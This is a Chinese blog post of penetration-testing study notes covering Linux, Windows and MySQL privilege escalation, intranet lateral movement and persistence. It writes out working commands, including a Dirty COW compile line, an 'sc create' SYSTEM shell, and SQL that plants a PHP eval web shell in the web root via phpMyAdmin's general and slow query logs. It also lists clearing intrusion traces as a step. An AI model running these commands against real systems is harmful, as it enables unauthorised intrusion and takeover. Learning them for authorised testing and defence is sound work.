8,提权+内外渗透+逻辑漏洞

昊天妹妹

已于 2024-09-24 00:18:38 修改

阅读量442

点赞数 5

分类专栏：渗透测试文章标签： web安全

于 2024-09-24 00:17:49 首次发布

本文链接：https://blog.csdn.net/m0_64040060/article/details/142471805

版权

渗透测试专栏收录该内容

19 篇文章 0 订阅

订阅专栏

linux提权:
   1.利用提权脚本 linux-exploit-suggester 脏牛漏洞
   2.密码复用
   3./etc/passwd 可写
   4.计划任务提权
   5.sudo提权
   6.suid提权
1.利用linux-exploit-suggester 提权脚本
   根据返回的结果来寻找使用特定的payload

   脏牛漏洞
   原理:
   当系统在进行复制时写时,通过利用对应的条件竞争,从而往只读内存中写入想要写入的内容

   gcc -o xxxx -lcrypt ./dirty 123456
   往/etc/passwd文件中添加一行数据 firefart

   2.往/etc/passwd文件中写入内容
   /etc/passwd文件默认只能由root权限进行写入而其他用户用户均可读取该文件中的
   内容
   如果通过错误配置能够允许其他用户写入/etc/passwd文件中的内容
   root:x:0:0:root:/root:/bin/bash
   使用:作为分隔符第一列为用户名
   第二列: 代表密码 x代表真正的密码存放于/etc/shadow文件中
   第三列:uid 每一个用户应该拥有一个独一无二的uid
   第四列: gid 同一个组下的用户拥有同样的gid
   第五列:别名
   第六列: 当前用户所对应的home目录
   第七列: shell相关 /bin/bash /bin/sh 才允许登录
   通过修改/etc/passwd中的对应用户(root)中的x字段可以修改其密码
Windows提权
   at 提权 (windows server 2003)(系统自带)
       > at 16:16 ./interactive cmd.exe(会自动创建计划任务,结束后会弹窗执行whoami显示system)
   sc (service服务)(cmd可以换成calc开启计算器)(系统自带)
       > sc create systemcmd binPath= "cmd /K start" type= own type= interact
       创建成功后执行> sc start systemcmd
Mysql提权
   udf提权
   mof提权
   phpMyadmin
       general_log
       slow_query_log
mysql提权:
   前提: 需要root用户
   如何获得root用户权限:
       1.尝试读取对应的配置文件
       2.拥有文件读取权限考虑读取mysql 目录下的user文件
       3.导出mysql 目录下的user文件导入到新的数据库中
   phpmyadmin提权
       general_log
       通用日志默认执行的sql语句会写入日志
           show variables like '%general_log%';                            #判断对应的配置
           set global general_log = "On";                                  #开启日志监听
           set global general_log_file = "C:/phpStudy/WWW/js/log.php";     # 设置日志存储路径
           select '<?php eval($_POST[12345]);?>';                         # 连接蚁剑

       slow_query_log 慢查询
           show variables like '%slow_query%';
           set global slow_query_log = "On";
           set global slow_query_log_file = "C:/phpStudy/WWW/js/slow_query_log.php";
           select '<?php eval($_POST[12345]);?>' from dual where 1=sleep(20);

内网渗透

23.1 什么是内网渗透
   端口映射，能让外网的电脑找到处于内网的电脑。支持 tcp、udp 端口转发，可支持任何 tcp、udp 上层协议（访问内网网站、ssh 访问、远程桌面，内网dns解析等等
23.2 内网渗透思路
   1.内网环境下先查看网络架构。例如网段信息域控 DNS服务器时间服务器
   2.收集到信息再扫一下开放端口 21 22 80 8080 443等确定敏感信息
   3.通过以上信息进行一定的弱口令尝试
   4.进行一些提权操作，从横向和纵向对目标服务器进行渗透。
   5.进行敏感信息挖掘，内网密码收集嗅探，同时清除入侵足迹。

   在内网渗透中，当攻击者获取到内网某台机器的控制权后，会以被攻陷的主机为跳板，通过收集域内凭证等各种方法，访问域内其他机器，进一步扩大资产范围。通过此类手段，攻击者最终可能获得域控制器的访问权限，甚至完全控制基于Windows操作系统的整个内网环境，控制域环境下的全部机器。
23.3 权限持久化
   注册表启动项服务映像劫持 dll劫持影子账号计划任务